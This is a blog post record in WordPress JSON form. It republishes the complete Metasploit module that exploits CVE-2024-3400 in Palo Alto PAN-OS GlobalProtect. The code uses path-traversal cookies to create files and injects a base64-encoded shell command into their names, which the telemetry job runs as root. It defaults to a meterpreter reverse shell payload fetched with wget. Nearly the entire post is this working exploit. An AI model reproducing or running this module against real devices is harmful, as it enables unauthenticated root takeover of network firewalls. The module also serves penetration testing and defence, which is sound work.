{"id":56403,"date":"2024-04-23T21:39:57","date_gmt":"2024-04-23T17:39:57","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/178220\/panos_telemetry_cmd_exec.rb.txt"},"modified":"2024-04-23T21:39:57","modified_gmt":"2024-04-23T17:39:57","slug":"palo-alto-networks-pan-os-unauthenticated-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/palo-alto-networks-pan-os-unauthenticated-remote-code-execution\/","title":{"rendered":"Palo Alto Networks PAN-OS Unauthenticated Remote Code Execution"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Exploit::Remote<br \/>Rank = ExcellentRanking<\/p>\n<p>include Msf::Exploit::Remote::HttpClient<br \/>include Msf::Exploit::FileDropper<br \/>prepend Msf::Exploit::Remote::AutoCheck<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Palo Alto Networks PAN-OS Unauthenticated Remote Code Execution&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module exploits two vulnerabilities in Palo Alto Networks PAN-OS that<br \/>allow an unauthenticated attacker to create arbitrarily named files and execute<br \/>shell commands. Configuration requirements are PAN-OS with GlobalProtect Gateway or<br \/>GlobalProtect Portal enabled and telemetry collection on (default). Affected versions<br \/>include &lt; 11.1.0-h3, &lt; 11.1.1-h1, &lt; 11.1.2-h3, &lt; 11.0.2-h4, &lt; 11.0.3-h10, &lt; 11.0.4-h1,<br \/>&lt; 10.2.5-h6, &lt; 10.2.6-h3, &lt; 10.2.8-h3, and &lt; 10.2.9-h1. Payloads may take up to<br \/>one hour to execute, depending on how often the telemetry service is set to run.<br \/>},<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;remmons-r7&#8217;, # Metasploit module<br \/>&#8216;sfewer-r7&#8217; # Metasploit module<br \/>],<br \/>&#8216;References&#8217; =&gt; [<br \/>[&#8216;CVE&#8217;, &#8216;2024-3400&#8217;], # At the time of announcement, both vulnerabilities were assigned one CVE identifier<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/security.paloaltonetworks.com\/CVE-2024-3400&#8217;], # Vendor Advisory<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/www.volexity.com\/blog\/2024\/04\/12\/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400\/&#8217;], # Initial Volexity report of the 0day exploitation<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/attackerkb.com\/topics\/SSTk336Tmf\/cve-2024-3400\/rapid7-analysis&#8217;] # Rapid7 Analysis<br \/>],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2024-04-12&#8217;,<br \/>&#8216;Platform&#8217; =&gt; [ &#8216;linux&#8217;, &#8216;unix&#8217; ],<br \/>&#8216;Arch&#8217; =&gt; [ARCH_CMD],<br \/>&#8216;Privileged&#8217; =&gt; true, # Executes as root on Linux<br \/>&#8216;Targets&#8217; =&gt; [ [ &#8216;Default&#8217;, {} ] ],<br \/>&#8216;DefaultOptions&#8217; =&gt; {<br \/>&#8216;PAYLOAD&#8217; =&gt; &#8216;cmd\/linux\/http\/x64\/meterpreter_reverse_tcp&#8217;,<br \/>&#8216;FETCH_COMMAND&#8217; =&gt; &#8216;WGET&#8217;,<br \/>&#8216;RPORT&#8217; =&gt; 443,<br \/>&#8216;SSL&#8217; =&gt; true,<br \/>&#8216;FETCH_WRITABLE_DIR&#8217; =&gt; &#8216;\/var\/tmp&#8217;,<br \/>&#8216;WfsDelay&#8217; =&gt; 3600 # 1h, since telemetry service cronjob can take up to an hour<br \/>},<br \/>&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [CRASH_SAFE],<br \/>&#8216;Reliability&#8217; =&gt; [REPEATABLE_SESSION],<br \/>&#8216;SideEffects&#8217; =&gt; [<br \/>IOC_IN_LOGS,<br \/># The \/var\/log\/pan\/gpsvc.log file will log an unmarshal failure message for every malformed session created<br \/># The NGINX frontend web server, which proxies requests to the GlobalProtect service, will log client IPs in \/var\/log\/nginx\/sslvpn_access.log<br \/># Similarly, the log file \/var\/log\/pan\/sslvpn-access\/sslvpn-access.log will also contain a log of the HTTP requests<br \/># The &#8220;device_telemetry_*.log&#8221; files in \/var\/log\/pan will log the command being injected<br \/>ARTIFACTS_ON_DISK<br \/># Several 0 length files are created in the following directories during checks and exploitation:<br \/># &#8211; \/opt\/panlogs\/tmp\/device_telemetry\/hour\/<br \/># &#8211; \/opt\/panlogs\/tmp\/device_telemetry\/minute\/<br \/># &#8211; \/var\/appweb\/sslvpndocs\/global-protect\/portal\/fonts\/<br \/>]}<br \/>)<br \/>)<\/p>\n<p>register_options(<br \/>[<br \/>OptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;An existing web application endpoint&#8217;, &#8216;\/global-protect\/login.esp&#8217;]),<br \/>])<br \/>end<\/p>\n<p>def check<br \/># Try to create a new empty file in an accessible directory with the exploit primitive<br \/># This file name was chosen because an extension in (css|js|eot|woff|woff2|ttf) is required for correct NGINX routing, and similarly named files already exist in the &#8216;fonts&#8217; directory<br \/>file_check_name = &#8220;glyphicons-#{Rex::Text.rand_text_alpha_lower(8)}-regular.woff2&#8221;<br \/>touch_file(&#8220;\/var\/appweb\/sslvpndocs\/global-protect\/portal\/fonts\/#{file_check_name}&#8221;)<\/p>\n<p># Access that file and a file that doesn&#8217;t exist to confirm they return 403 and 404, respectively<br \/>res_check_created = send_request_cgi(<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(&#8216;global-protect&#8217;, &#8216;portal&#8217;, &#8216;fonts&#8217;, file_check_name)<br \/>)<\/p>\n<p>return CheckCode::Unknown(&#8216;Connection failed&#8217;) unless res_check_created<\/p>\n<p>res_check_not_created = send_request_cgi(<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(&#8216;global-protect&#8217;, &#8216;portal&#8217;, &#8216;fonts&#8217;, &#8220;X#{file_check_name}&#8221;)<br \/>)<\/p>\n<p>return CheckCode::Unknown(&#8216;Connection failed&#8217;) unless res_check_not_created<\/p>\n<p>if (res_check_created.code != 403) || (res_check_not_created.code != 404)<br \/>return CheckCode::Safe(&#8216;Arbitrary file write did not succeed&#8217;)<br \/>end<\/p>\n<p>CheckCode::Vulnerable(&#8220;Arbitrary file write succeeded: \/var\/appweb\/sslvpndocs\/global-protect\/portal\/fonts\/#{file_check_name} NOTE: This file will not be deleted&#8221;)<br \/>end<\/p>\n<p>def touch_file(file)<br \/># Exploit primitive similar to `touch`, creating an empty file owned by root in the specified location<br \/>fail_with(Failure::BadConfig, &#8216;Semicolon cannot be present in file name, due to the cookie injection context&#8217;) if file.include? &#8216;;&#8217;<\/p>\n<p>send_request_cgi(<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path),<br \/>&#8216;headers&#8217; =&gt; {<br \/>&#8216;Cookie&#8217; =&gt; &#8220;SESSID=.\/..\/..\/..\/..#{file}&#8221;<br \/>}<br \/>)<br \/>end<\/p>\n<p>def exploit<br \/># Encode the shell command payload as base64, then embed it in the appropriate exploitation context<br \/># Since payloads cannot contain spaces, ${IFS} is used as a separator<br \/>cmd = &#8220;echo${IFS}-n${IFS}#{Rex::Text.encode_base64(payload.encoded)}|base64${IFS}-d|bash${IFS}-&#8220;<\/p>\n<p># Create maliciously named files in both telemetry directories that might be used by affected versions<br \/># Both files are necessary, since it seems that some PAN-OS versions only execute payloads in &#8216;hour&#8217; and others use &#8216;minute&#8217;.<br \/># It&#8217;s possible that the payload will execute twice, but we&#8217;ve only observed one location working during testing<br \/>files = [<br \/>&#8220;\/opt\/panlogs\/tmp\/device_telemetry\/hour\/#{Rex::Text.rand_text_alpha_lower(4)}`#{cmd}`&#8221;,<br \/>&#8220;\/opt\/panlogs\/tmp\/device_telemetry\/minute\/#{Rex::Text.rand_text_alpha_lower(4)}`#{cmd}`&#8221;<br \/>]\n<p>files.each do |file_path|<br \/>vprint_status(&#8220;Creating file at #{file_path}&#8221;)<br \/>touch_file(file_path)<\/p>\n<p># Must register for clean up here instead of within touch_file, since touch_file is used in the check<br \/>register_file_for_cleanup(file_path)<br \/>end<\/p>\n<p>print_status(&#8216;Depending on the PAN-OS version, it may take the telemetry service up to one hour to execute the payload&#8217;)<br \/>print_status(&#8216;Though exploitation of the arbitrary file creation vulnerability succeeded, command injection will fail if the default telemetry service has been disabled&#8217;)<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Exploit::RemoteRank = ExcellentRanking include Msf::Exploit::Remote::HttpClientinclude Msf::Exploit::FileDropperprepend Msf::Exploit::Remote::AutoCheck def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Palo Alto Networks PAN-OS Unauthenticated Remote Code Execution&#8217;,&#8216;Description&#8217; =&gt; %q{This module exploits two vulnerabilities in Palo Alto Networks PAN-OS thatallow an unauthenticated attacker to create arbitrarily named files and executeshell commands. &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56403","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56403","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56403"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56403\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56403"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56403"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56403"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}